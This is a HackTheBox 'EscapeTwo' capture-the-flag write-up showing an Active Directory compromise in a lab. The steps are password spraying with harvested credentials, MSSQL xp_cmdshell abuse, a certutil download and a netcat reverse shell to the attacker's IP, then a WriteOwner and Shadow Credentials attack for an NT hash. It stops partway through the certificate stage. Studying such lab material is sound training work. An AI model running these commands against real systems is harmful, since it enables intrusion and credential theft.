EscapeTwo – HackTheBox Link to heading

  • OS: Windows
  • Difficulty: Easy
  • Platform: HackTheBox

Avatar escapetwo


Summary Link to heading

“EscapeTwo” is an easy box from HackTheBox platform focused on Active Directory. We start with initial credentials provided for a first user. This user has access to a file that contains multiple passwords. One of these passwords work for a user in the system, allowing us to pivot to a second user. Additionally, this password works to access a Microsoft SQL Server (MSSQL) service in the system, where we are allowed to execute system commands and gain initial access to the victim machine. Once inside, we are able to read configuration files for SQL services, where a credential found is used for a third user in the system. This third user has WriteOwner permissions over a CA (Certifcate Authority) account, which allow us to perform a Shadow Credential attack and extract its NT hash. Finally, using this last CA user, we find a certificate vulnerable to ESC4. This allow us to request a certificate file in behalf of Administrator user, extract its NT hash and take control of the domain.


User Link to heading

Info
We start with provided credentials: user rose and password KxEPkKe6R8su.

User Link to heading

We start looking for open TCP ports in the victim machine with a quick and silent Nmap scan:

❯ sudo nmap -sS -p- --open --min-rate=5000 -n -Pn -vvv

Nmap scan shows multiple ports open: 53 DNS, 88 Kerberos, 135 Microsoft RPC, 389 LDAP, 445 SMB, 1433 Microsoft SQL Server (MSSQL), 5985 Windows Remote Management (WinRM); among many others:

❯ sudo nmap -sVC -p53,88,135,139,389,445,464,593,636,1433,3268,3269,5985,9389,47001,49664,49665,49666,49667,49685,49686,49687,49692,49716,49725,49796 10.10.11.51

Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-14 03:43 -03
Nmap scan report for 10.10.11.51
Host is up (0.31s latency).

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-01-14 06:43:53Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-01-14T06:45:34+00:00; +3s from scanner time.
| ssl-cert: Subject: commonName=DC01.sequel.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.sequel.htb
| Not valid before: 2024-06-08T17:35:00
|_Not valid after:  2025-06-08T17:35:00
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-01-14T06:45:33+00:00; +2s from scanner time.
| ssl-cert: Subject: commonName=DC01.sequel.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.sequel.htb
| Not valid before: 2024-06-08T17:35:00
|_Not valid after:  2025-06-08T17:35:00
1433/tcp  open  ms-sql-s      Microsoft SQL Server 2019 15.00.2000.00; RTM
| ms-sql-ntlm-info:
|   10.10.11.51:1433:
|     Target_Name: SEQUEL
|     NetBIOS_Domain_Name: SEQUEL
|     NetBIOS_Computer_Name: DC01
|     DNS_Domain_Name: sequel.htb
|     DNS_Computer_Name: DC01.sequel.htb
|     DNS_Tree_Name: sequel.htb
|_    Product_Version: 10.0.17763
|_ssl-date: 2025-01-14T06:45:34+00:00; +2s from scanner time.
| ms-sql-info:
|   10.10.11.51:1433:
|     Version:
|       name: Microsoft SQL Server 2019 RTM
|       number: 15.00.2000.00
|       Product: Microsoft SQL Server 2019
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 1433
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2025-01-13T20:46:30
|_Not valid after:  2055-01-13T20:46:30
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-01-14T06:45:34+00:00; +3s from scanner time.
| ssl-cert: Subject: commonName=DC01.sequel.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.sequel.htb
| Not valid before: 2024-06-08T17:35:00
|_Not valid after:  2025-06-08T17:35:00
3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-01-14T06:45:33+00:00; +2s from scanner time.
| ssl-cert: Subject: commonName=DC01.sequel.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.sequel.htb
| Not valid before: 2024-06-08T17:35:00
|_Not valid after:  2025-06-08T17:35:00
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        .NET Message Framing
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49685/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49686/tcp open  msrpc         Microsoft Windows RPC
49687/tcp open  msrpc         Microsoft Windows RPC
49692/tcp open  msrpc         Microsoft Windows RPC
49716/tcp open  msrpc         Microsoft Windows RPC
49725/tcp open  msrpc         Microsoft Windows RPC
49796/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled and required
|_clock-skew: mean: 2s, deviation: 0s, median: 1s
| smb2-time:
|   date: 2025-01-14T06:44:56
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 115.23 seconds

Using NetExec against SMB service shows that we have a machine named DC01 and a domain sequel.htb:

❯ nxc smb 10.10.11.51 -u 'rose' -p 'KxEPkKe6R8su'

SMB         10.10.11.51     445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:sequel.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.51     445    DC01             [+] sequel.htb\rose:KxEPkKe6R8su

We then add the FQDN (DC01.sequel.htb), machine name and domain to our /etc/hosts file since we can see this is the domain controller of an Active Directory domain due to its name (DC -> Domain Controller):

❯ echo '10.10.11.51 DC01 DC01.sequel.htb sequel.htb' | sudo tee -a /etc/hosts

Looking for SMB shares available for this user we can see 2 non-default shares; one called Accounting Department and another one called Users:

❯ nxc smb dc01.sequel.htb -u 'rose' -p 'KxEPkKe6R8su' --shares

SMB         10.10.11.51     445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:sequel.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.51     445    DC01             [+] sequel.htb\rose:KxEPkKe6R8su
SMB         10.10.11.51     445    DC01             [*] Enumerated shares
SMB         10.10.11.51     445    DC01             Share           Permissions     Remark
SMB         10.10.11.51     445    DC01             -----           -----------     ------
SMB         10.10.11.51     445    DC01             Accounting Department READ
SMB         10.10.11.51     445    DC01             ADMIN$                          Remote Admin
SMB         10.10.11.51     445    DC01             C$                              Default share
SMB         10.10.11.51     445    DC01             IPC$            READ            Remote IPC
SMB         10.10.11.51     445    DC01             NETLOGON        READ            Logon server share
SMB         10.10.11.51     445    DC01             SYSVOL          READ            Logon server share
SMB         10.10.11.51     445    DC01             Users           READ

We can use, again, NetExec to check contents inside Accounting Department share. We use the flag --pattern . that is a regular expression to specify that we want any output:

❯ nxc smb dc01.sequel.htb -u 'rose' -p 'KxEPkKe6R8su' --spider 'Accounting Department' --pattern .

SMB         10.10.11.51     445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:sequel.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.51     445    DC01             [+] sequel.htb\rose:KxEPkKe6R8su
SMB         10.10.11.51     445    DC01             [*] Started spidering
SMB         10.10.11.51     445    DC01             [*] Spidering .
SMB         10.10.11.51     445    DC01             //10.10.11.51/Accounting Department/. [dir]
SMB         10.10.11.51     445    DC01             //10.10.11.51/Accounting Department/.. [dir]
SMB         10.10.11.51     445    DC01             //10.10.11.51/Accounting Department/accounting_2024.xlsx [lastm:'2024-06-09 07:11' size:10217]
SMB         10.10.11.51     445    DC01             //10.10.11.51/Accounting Department/accounts.xlsx [lastm:'2024-06-09 07:11' size:6780]
SMB         10.10.11.51     445    DC01             [*] Done spidering (Completed in 1.4340341091156006)

We can see 2 files: accounting_2024.xlsx and accounts.xlsx.

We can download these files using NetExec as well:

❯ nxc smb dc01.sequel.htb -u 'rose' -p 'KxEPkKe6R8su' --share 'Accounting Department' --get-file accounting_2024.xlsx accounting_2024.xlsx

SMB         10.10.11.51     445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:sequel.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.51     445    DC01             [+] sequel.htb\rose:KxEPkKe6R8su
SMB         10.10.11.51     445    DC01             [*] Copying "accounting_2024.xlsx" to "accounting_2024.xlsx"
SMB         10.10.11.51     445    DC01             [+] File "accounting_2024.xlsx" was downloaded to "accounting_2024.xlsx"
❯ nxc smb dc01.sequel.htb -u 'rose' -p 'KxEPkKe6R8su' --share 'Accounting Department' --get-file accounts.xlsx accounts.xlsx
SMB         10.10.11.51     445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:sequel.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.51     445    DC01             [+] sequel.htb\rose:KxEPkKe6R8su
SMB         10.10.11.51     445    DC01             [*] Copying "accounts.xlsx" to "accounts.xlsx"
SMB         10.10.11.51     445    DC01             [+] File "accounts.xlsx" was downloaded to "accounts.xlsx"

These are .xlsx files:

Info
XLSX files are a zipped, XML-based excel file format created by Microsoft Excel

Once we have downloaded these files, we need to extract its content. For this we can create a new directory that will store all the extracted data from these files:

❯ mkdir accounts_content

❯ xdg-open accounts.xlsx

and extract its content using the GUI format:

EscapeTwo 1

In my case I got an error that some files could not be extracted, but could extract most of them:

❯ tree -f .

.
├── ./[Content_Types].xml
├── ./docProps
│   ├── ./docProps/app.xml
│   ├── ./docProps/core.xml
│   └── ./docProps/custom.xml
├── ./_rels
└── ./xl
    ├── ./xl/_rels
    │   └── ./xl/_rels/workbook.xml.rels
    ├── ./xl/sharedStrings.xml
    ├── ./xl/styles.xml
    ├── ./xl/theme
    │   └── ./xl/theme/theme1.xml
    ├── ./xl/workbook.xml
    └── ./xl/worksheets
        ├── ./xl/worksheets/_rels
        │   └── ./xl/worksheets/_rels/sheet1.xml.rels
        └── ./xl/worksheets/sheet1.xml

8 directories, 11 files

We then search for the string password using grep in the extracted files:

❯ grep -ir 'password' . 2>/dev/null

./xl/sharedStrings.xml:<sst xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" count="25" uniqueCount="24"><si><t xml:space="preserve">First Name</t></si><si><t xml:space="preserve">Last Name</t></si><si><t xml:space="preserve">Email</t></si><si><t xml:space="preserve">Username</t></si><si><t xml:space="preserve">Password</t></si><si><t xml:space="preserve">Angela</t></si><si><t xml:space="preserve">Martin</t></si><si><t xml:space="preserve">angela@sequel.htb</t></si><si><t xml:space="preserve">angela</t></si><si><t xml:space="preserve">0fwz7Q4mSpurIt99</t></si><si><t xml:space="preserve">Oscar</t></si><si><t xml:space="preserve">Martinez</t></si><si><t xml:space="preserve">oscar@sequel.htb</t></si><si><t xml:space="preserve">oscar</t></si><si><t xml:space="preserve">86LxLBMgEWaKUnBG</t></si><si><t xml:space="preserve">Kevin</t></si><si><t xml:space="preserve">Malone</t></si><si><t xml:space="preserve">kevin@sequel.htb</t></si><si><t xml:space="preserve">kevin</t></si><si><t xml:space="preserve">Md9Wlq1E5bZnVDVo</t></si><si><t xml:space="preserve">NULL</t></si><si><t xml:space="preserve">sa@sequel.htb</t></si><si><t xml:space="preserve">sa</t></si><si><t xml:space="preserve">MSSQLP@ssw0rd!</t></si></sst>

The file xl/sharedStrings.xml has something.

To have a better view of this file we can open it using LibreOffice or just use any online page that opens .xml files. Since I like to complicate my life, I create a Python script to read the .xml file:

#!/usr/bin/python3
import xml.etree.ElementTree as ET

def parse_shared_strings(xml_file):
    # Parse the XML file
    tree = ET.parse(xml_file)
    root = tree.getroot()

    namespace = {'ns': 'http://schemas.openxmlformats.org/spreadsheetml/2006/main'}

    # Extract text from all <t> tags
    data = [elem.text if elem.text != "NULL" else "<NULL>" for elem in root.findall(".//ns:t", namespace)]

    updated_data = []
    for i, value in enumerate(data):
        updated_data.append(value)
        if i % 5 == 0 and value == "<NULL>":  # We have 5 fields in XML file
            updated_data.append("<NULL>")  # Add "<NULL>" for "Last Name"
    
    return updated_data

def pretty_print(data):
    # Group data into rows of 5 (assuming each row has 5 fields)
    rows = [data[i:i+5] for i in range(0, len(data), 5)]

    # Print header
    print("{:<12} {:<12} {:<25} {:<12} {:<20}".format("First Name", "Last Name", "Email", "Username", "Password"))
    print("-" * 85)

    # Print rows
    for row in rows:
        print("{:<12} {:<12} {:<25} {:<12} {:<20}".format(*row))

if __name__ == "__main__":
    # Path to the XML file
    xml_file = "./xl/sharedStrings.xml"

    # Parse the data
    data = parse_shared_strings(xml_file)

    # Pretty print the data
    pretty_print(data)

and run it:

❯ python3 xml_viewver.py

First Name   Last Name    Email                     Username     Password
-------------------------------------------------------------------------------------
First Name   Last Name    Email                     Username     Password
Angela       Martin       angela@sequel.htb         angela       0fwz7Q4mSpurIt99
Oscar        Martinez     oscar@sequel.htb          oscar        86LxLBMgEWaKUnBG
Kevin        Malone       kevin@sequel.htb          kevin        Md9Wlq1E5bZnVDVo
<NULL>       <NULL>       sa@sequel.htb             sa           MSSQLP@ssw0rd!

We have 4 usernames and passwords.

We can save all the users in a file:

❯ python3 xml_viewver.py | tail -n 4 | awk '{print $4}' > potential_users.txt

and all the passwords in another file:

❯ python3 xml_viewver.py | tail -n 4 | awk '{print $5}' > potential_passwords.txt

Before doing a Password Spray attack, it is also a good idea to check the number of attempts we can do before an accounts gets locked. We can do this with NetExec and its --pass-pol flag for SMB service:

❯ nxc smb dc01.sequel.htb -u 'rose' -p 'KxEPkKe6R8su' --pass-pol

SMB         10.10.11.51     445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:sequel.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.51     445    DC01             [+] sequel.htb\rose:KxEPkKe6R8su
SMB         10.10.11.51     445    DC01             [+] Dumping password info for domain: SEQUEL
SMB         10.10.11.51     445    DC01             Minimum password length: 7
SMB         10.10.11.51     445    DC01             Password history length: 24
SMB         10.10.11.51     445    DC01             Maximum password age: 41 days 23 hours 53 minutes
SMB         10.10.11.51     445    DC01
SMB         10.10.11.51     445    DC01             Password Complexity Flags: 000000
SMB         10.10.11.51     445    DC01                 Domain Refuse Password Change: 0
SMB         10.10.11.51     445    DC01                 Domain Password Store Cleartext: 0
SMB         10.10.11.51     445    DC01                 Domain Password Lockout Admins: 0
SMB         10.10.11.51     445    DC01                 Domain Password No Clear Change: 0
SMB         10.10.11.51     445    DC01                 Domain Password No Anon Change: 0
SMB         10.10.11.51     445    DC01                 Domain Password Complex: 0
SMB         10.10.11.51     445    DC01
SMB         10.10.11.51     445    DC01             Minimum password age: 1 day 4 minutes
SMB         10.10.11.51     445    DC01             Reset Account Lockout Counter: 10 minutes
SMB         10.10.11.51     445    DC01             Locked Account Duration: 10 minutes
SMB         10.10.11.51     445    DC01             Account Lockout Threshold: None
SMB         10.10.11.51     445    DC01             Forced Log off Time: Not Set

We basically have infinite attempts as expected for an Easy box machine.

Note
In real life pentests we must be careful before attempting a Password Spray or we could lockout accounts.

We use again NetExec to check for credentials that could be useful:

❯ nxc smb dc01.sequel.htb -u potential_users.txt -p potential_passwords.txt --continue-on-success

SMB         10.10.11.51     445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:sequel.htb) (signing:True) (SMBv1:False)
<SNIP>
SMB         10.10.11.51     445    DC01             [-] sequel.htb\angela:86LxLBMgEWaKUnBG STATUS_LOGON_FAILURE
SMB         10.10.11.51     445    DC01             [+] sequel.htb\oscar:86LxLBMgEWaKUnBG
SMB         10.10.11.51     445    DC01             [-] sequel.htb\kevin:86LxLBMgEWaKUnBG STATUS_LOGON_FAILURE
<SNIP>

We have valid credentials: oscar:86LxLBMgEWaKUnBG.

But this user does not have any new shared resource we have not seen before:

❯ nxc smb dc01.sequel.htb -u oscar -p '86LxLBMgEWaKUnBG' --shares

SMB         10.10.11.51     445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:sequel.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.51     445    DC01             [+] sequel.htb\oscar:86LxLBMgEWaKUnBG
SMB         10.10.11.51     445    DC01             [*] Enumerated shares
SMB         10.10.11.51     445    DC01             Share           Permissions     Remark
SMB         10.10.11.51     445    DC01             -----           -----------     ------
SMB         10.10.11.51     445    DC01             Accounting Department READ
SMB         10.10.11.51     445    DC01             ADMIN$                          Remote Admin
SMB         10.10.11.51     445    DC01             C$                              Default share
SMB         10.10.11.51     445    DC01             IPC$            READ            Remote IPC
SMB         10.10.11.51     445    DC01             NETLOGON        READ            Logon server share
SMB         10.10.11.51     445    DC01             SYSVOL          READ            Logon server share
SMB         10.10.11.51     445    DC01             Users           READ

We also remember that MSSQL was also running in the victim machine. We can also check if sa credentials are valid for that service with the previously found credentials sa:MSSQLP@ssw0rd! using --local-auth flag in mssql module in NetExec to use MSSQL login session (if we do not use --local-auth we are using AD session):

❯ nxc mssql dc01.sequel.htb -u 'sa' -p 'MSSQLP@ssw0rd!' --local-auth

MSSQL       10.10.11.51     1433   DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:sequel.htb)
MSSQL       10.10.11.51     1433   DC01             [+] DC01\sa:MSSQLP@ssw0rd! (Pwn3d!)

It worked. We have valid credentials for MSSQL service.

We can then use impacket-mssqlclient to log into this service:

❯ impacket-mssqlclient sa:'MSSQLP@ssw0rd!'@dc01.sequel.htb

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC01\SQLEXPRESS): Line 1: Changed database context to 'master'.
[*] INFO(DC01\SQLEXPRESS): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (150 7208)
[!] Press help for extra shell commands
SQL (sa  dbo@master)>

Then, it is always a good idea going to HackTricks.

We check databases:

SQL (sa  dbo@master)> SELECT name FROM master.dbo.sysdatabases;

name
------
master

tempdb

model

msdb

But these are the ones that comes by default on MSSQL. So nothing interesting.

We can see if we can execute commands:

SQL (sa  dbo@master)> EXEC xp_cmdshell "net user";

ERROR(DC01\SQLEXPRESS): Line 1: SQL Server blocked access to procedure 'sys.xp_cmdshell' of component 'xp_cmdshell' because this component is turned off as part of the security configuration for this server. A system administrator can enable the use of 'xp_cmdshell' by using sp_configure. For more information about enabling 'xp_cmdshell', search for 'xp_cmdshell' in SQL Server Books Online.

We can’t.

But we can try to enable command execution:

SQL (sa  dbo@master)> EXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE;

INFO(DC01\SQLEXPRESS): Line 185: Configuration option 'show advanced options' changed from 1 to 1. Run the RECONFIGURE statement to install.
INFO(DC01\SQLEXPRESS): Line 185: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.

It seems this has worked. If we try to execute commands now with xp_cmdshell we get:

SQL (sa  dbo@master)> EXEC xp_cmdshell "net user";

output
-------------------------------------------------------------------------------
NULL

User accounts for \\DC01

NULL

-------------------------------------------------------------------------------

Administrator            ca_svc                   Guest

krbtgt                   michael                  oscar

rose                     ryan                     sql_svc

The command completed successfully.

NULL

NULL

Seems that this has worked.

We can then pass a netcat binary to the victim machine. We can start a Python HTTP server on port 8000 exposing netcat binary for Windows:

❯ ls -la && python3 -m http.server 8000

total 56
drwxrwxr-x 2 gunzf0x gunzf0x  4096 Jan 14 05:16 .
drwxrwxr-x 5 gunzf0x gunzf0x  4096 Jan 14 03:42 ..
-rw-r--r-- 1 gunzf0x gunzf0x 45272 Jan 14 05:16 nc64.exe
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

and use certutil in the victim machine to download the file:

SQL (sa  dbo@master)> EXEC xp_cmdshell "certutil.exe -urlcache -split -f http://10.10.16.3:8000/nc64.exe C:\Users\Public\Downloads\nc.exe";

output
---------------------------------------------------
****  Online  ****

  0000  ...

  b0d8

CertUtil: -URLCache command completed successfully.

NULL

Start a netcat listener in port 443, along with rlwrap to have some options like go to previous commands with keyboard arrows:

❯ rlwrap -cAr nc -lvnp 443

and pass the payload at impacket-mssqlclient session:

SQL (sa  dbo@master)> EXEC xp_cmdshell "C:\Users\Public\Downloads\nc.exe 10.10.16.3 443 -e cmd.exe";

We get a shell as sql_svc user:

❯ rlwrap -cAr nc -lvnp 443

listening on [any] 443 ...
connect to [10.10.16.3] from (UNKNOWN) [10.10.11.51] 59982
Microsoft Windows [Version 10.0.17763.6659]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami

whoami
sequel\sql_svc

At C:\ directory there is a SQL2019 directory:

C:\Windows\system32>dir C:\

dir C:\
 Volume in drive C has no label.
 Volume Serial Number is 3705-289D

 Directory of C:\

11/05/2022  11:03 AM    <DIR>          PerfLogs
01/04/2025  07:11 AM    <DIR>          Program Files
06/09/2024  07:37 AM    <DIR>          Program Files (x86)
06/08/2024  02:07 PM    <DIR>          SQL2019
06/09/2024  05:42 AM    <DIR>          Users
01/04/2025  08:10 AM    <DIR>          Windows
               0 File(s)              0 bytes
               6 Dir(s)   2,178,764,800 bytes free

Looking for configuration files we have many of them:

C:\SQL2019>tree /f . | findstr /i conf

tree /f . | findstr /i conf
       SETUP.EXE.CONFIG
       sql-Configuration.INI
           CONFIGURATION.UICFG
<SNIP>

Excluding .exe and .dll files, we have some .xml and .ini files. This page suggests that for MSSQL services we should have configurations at .ini files.

Therefore, we check sql-Configuration.INI and get something:

C:\SQL2019>type C:\SQL2019\ExpressAdv_ENU\sql-Configuration.INI | findstr /i password

type C:\SQL2019\ExpressAdv_ENU\sql-Configuration.INI | findstr /i password
SQLSVCPASSWORD="WqSZAF6CysDQbGb3"

We have a password: WqSZAF6CysDQbGb3.

We can then search for users in this machine:

C:\SQL2019>net user
net user

User accounts for \\DC01

-------------------------------------------------------------------------------
Administrator            ca_svc                   Guest
krbtgt                   michael                  oscar
rose                     ryan                     sql_svc
The command completed successfully.

Besides oscar and rose (whose passwords we already know), we have 3 new users: michael, ca_svc and ryan. We can, as usual, use NetExec to check if this is a valid password for any of these users:

❯ nxc smb dc01.sequel.htb -u michael ca_svc ryan -p 'WqSZAF6CysDQbGb3'

SMB         10.10.11.51     445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:sequel.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.51     445    DC01             [-] sequel.htb\michael:WqSZAF6CysDQbGb3 STATUS_LOGON_FAILURE
SMB         10.10.11.51     445    DC01             [-] sequel.htb\ca_svc:WqSZAF6CysDQbGb3 STATUS_LOGON_FAILURE
SMB         10.10.11.51     445    DC01             [+] sequel.htb\ryan:WqSZAF6CysDQbGb3

We have valid credentials: ryan:WqSZAF6CysDQbGb3.

ryan user is part of Remote Management Users:

C:\SQL2019>net user ryan

net user ryan
User name                    ryan
Full Name                    Ryan Howard
<SNIP>
Last logon                   1/13/2025 3:39:27 PM

Logon hours allowed          All

Local Group Memberships      *Remote Management Use
Global Group memberships     *Management Department*Domain Users
The command completed successfully.

so we should be able to connect with WinRM to the victim machine:

❯ nxc winrm dc01.sequel.htb -u ryan -p 'WqSZAF6CysDQbGb3'

WINRM       10.10.11.51     5985   DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:sequel.htb)
WINRM       10.10.11.51     5985   DC01             [+] sequel.htb\ryan:WqSZAF6CysDQbGb3 (Pwn3d!)

Therefore, use evil-winrm to connect as ryan user in the victim machine:

❯ evil-winrm -i dc01.sequel.htb -u 'ryan' -p 'WqSZAF6CysDQbGb3'

Evil-WinRM shell v3.6

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\ryan\Documents>

NT Authority/System - Administrator Link to heading

What catches my attention while we used net user is that there is a ca_svc user. CA is usually the acronym for Certification Authority in Active Directory environments. To analyze the AD environment we will use Bloodhound. To get relations in the domain we will use SharpHound. Grab a copy of it from its Github repository, unzip/decompress the content and pass the .exe file to the victim machine using upload command from evil-winrm:

*Evil-WinRM* PS C:\Users\ryan\Documents> upload SharpHound.exe

and execute SharpHound to collect data about AD environment:

*Evil-WinRM* PS C:\Users\ryan\Documents> .\SharpHound.exe -c All

2025-01-14T00:47:24.0440447-08:00|INFORMATION|This version of SharpHound is compatible with the 5.0.0 Release of BloodHound
2025-01-14T00:47:24.2784202-08:00|INFORMATION|Resolved Collection Methods: Group, LocalAdmin, GPOLocalGroup, Session, LoggedOn, Trusts, ACL, Container, RDP, ObjectProps, DCOM, SPNTargets, PSRemote, UserRights, CARegistry, DCRegistry, CertServices
<SNIP>
 1 name to SID mappings.
 1 machine sid mappings.
 4 sid to domain mappings.
 0 global catalog mappings.
2025-01-14T00:47:26.6377987-08:00|INFORMATION|SharpHound Enumeration Completed at 12:47 AM on 1/14/2025! Happy Graphing!

This should have generated a .zip file:

*Evil-WinRM* PS C:\Users\ryan\Documents> ls


    Directory: C:\Users\ryan\Documents


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        1/14/2025  12:47 AM          34959 20250114004725_BloodHound.zip
-a----        1/14/2025  12:47 AM           1523 NGZlZGJhNTUtZGMxZi00MzRhLTkxYzUtZWNjYjM1NGU4YzNl.bin
-a----        1/14/2025  12:46 AM        1556480 SharpHound.exe

Use download command from evil-winrm to download this file into our attacker machine:

*Evil-WinRM* PS C:\Users\ryan\Documents> download 20250114004725_BloodHound.zip

Info: Downloading C:\Users\ryan\Documents\20250114004725_BloodHound.zip to 20250114004725_BloodHound.zip

Info: Download successful!

We upload the generated .zip file to Bloodhound (in my case I will use the Community Edition, or CE). We search for ryan user and click on Outbound Object Control. We can see:

EscapeTwo 2

We have WriteOwner rights over ca_svc account:

EscapeTwo 3

WriteOwner means that we can grant us full rights over ca_svc account, or we could change its password.

First, we can set us (ryan user) as the owner of the object/target (ca_svc) using bloodyAD:

❯ bloodyAD --host '10.10.11.51' -d 'sequel.htb' -u 'ryan' -p 'WqSZAF6CysDQbGb3' set owner 'ca_svc' 'ryan'

[+] Old owner S-1-5-21-548670397-972687484-3496335370-512 is now replaced by ryan on ca_svc

and grant us full control over ca_svc account with dacledit.py from Impacket:

❯ impacket-dacledit -action 'write' -rights 'FullControl' -principal 'ryan' -target 'ca_svc' SEQUEL.HTB/ryan:'WqSZAF6CysDQbGb3'

[*] DACL backed up to dacledit-20250114-061524.bak
[*] DACL modified successfully!

We can then attempt a Shadow Credentials attack (we could also change the password of ca_svc account, but in reality we should avoid this) to obtain the NTLM hash for ca_svc account. For this we could use PyWhisker. But recently I have also discovered that we can do this with Certipy tool (which can be downloaded from its Github repository and installed with pip3 install certipy-ad). We use it then to perform this attack:

❯ certipy shadow auto -username ryan@sequel.htb -password 'WqSZAF6CysDQbGb3' -account 'ca_svc'

Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Targeting user 'ca_svc'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID '98a79799-8c39-847d-a6b5-98c64a4fc496'
[*] Adding Key Credential with device ID '98a79799-8c39-847d-a6b5-98c64a4fc496' to the Key Credentials for 'ca_svc'
[*] Successfully added Key Credential with device ID '98a79799-8c39-847d-a6b5-98c64a4fc496' to the Key Credentials for 'ca_svc'
[*] Authenticating as 'ca_svc' with the certificate
[*] Using principal: ca_svc@sequel.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'ca_svc.ccache'
[*] Trying to retrieve NT hash for 'ca_svc'
[*] Restoring the old Key Credentials for 'ca_svc'
[*] Successfully restored the old Key Credentials for 'ca_svc'
[*] NT hash for 'ca_svc': 3b181b914e7a9d5508ea1e20bc2b7fce

We got a hash for ca_svc account.

As usual, use NetExec to check if this hash is valid:

❯ nxc smb DC01.sequel.htb -u 'ca_svc' -H '3b181b914e7a9d5508ea1e20bc2b7fce'

SMB         10.10.11.51     445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:sequel.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.51     445    DC01             [+] sequel.htb\ca_svc:3b181b914e7a9d5508ea1e20bc2b7fce

It is a valid hash.

But this user does not have interesting rights over other users or accounts:

EscapeTwo 4

However, as its name says, we should be able to deal with certificates with this account. To authenticate from the outside with this account, we can use its hash with Certipy searching for vulnerable certificates:

❯ certipy find -username 'ca_svc'@sequel.htb -hashes ':3b181b914e7a9d5508ea1e20bc2b7fce' -dc-ip 10.10.11.51 -target dc01.sequel.htb -vulnerable -enabled

Certipy v4.8.2 - by Oliver Lyak (ly4k)

